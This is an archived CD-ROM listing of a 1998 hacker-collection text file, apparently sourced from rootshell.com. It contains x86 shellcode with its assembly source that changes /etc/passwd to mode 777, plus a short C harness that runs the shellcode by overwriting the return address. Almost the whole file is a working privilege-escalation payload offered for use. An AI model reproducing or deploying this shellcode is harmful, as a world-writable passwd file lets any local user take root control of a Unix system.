home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / passwd_777.txt < prev    next >
Encoding:
Text File  |  1998-07-17  |  957 b   |  44 lines

  1. /*  [from http://www.rootshell.com/ ]
  2.     
  3.     changes mode on /etc/passwd to 777 
  4.     making it writeable by anyone.
  5.  
  6.    jmp rootshell
  7.    coded_by_bmV:
  8.       popl %edi
  9.       call yo
  10.    rootshell:
  11.       call coded_by_bmV
  12.    yo: 
  13.       xorl %ebx,%ebx             
  14.       movb $(phile-yo),%bl 
  15.       addl %edi,%ebx           
  16.       xorb %al,%al 
  17.       movb %al,11(%ebx)
  18.       xorl %ecx,%ecx
  19.       movw $00777,%cx
  20.       xorl %eax,%eax             
  21.       movb $0xf,%al
  22.       int $0x80             
  23.       xorl %eax,%eax
  24.       movb $0x01,%al       
  25.       int $0x80
  26.    phile:
  27.    .ascii \"/etc/passwd\"
  28. */
  29.  
  30. char shellcode[]=
  31.    "\xeb\x06\x5f\xe8\x05\x00\x00\x00\xe8\xf5\xff\xff\xff\x31"
  32.    "\xdb\xb3\x1d\x01\xfb\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9"
  33.    "\xff\x01\x31\xc0\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
  34.    "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x89\xec\x5d\xc3";
  35.  
  36. void main()
  37. {
  38.    int *ret;
  39.   
  40.    ret = (int *)&ret + 2;
  41.    (*ret) = (int)shellcode;
  42. }
  43.  
  44.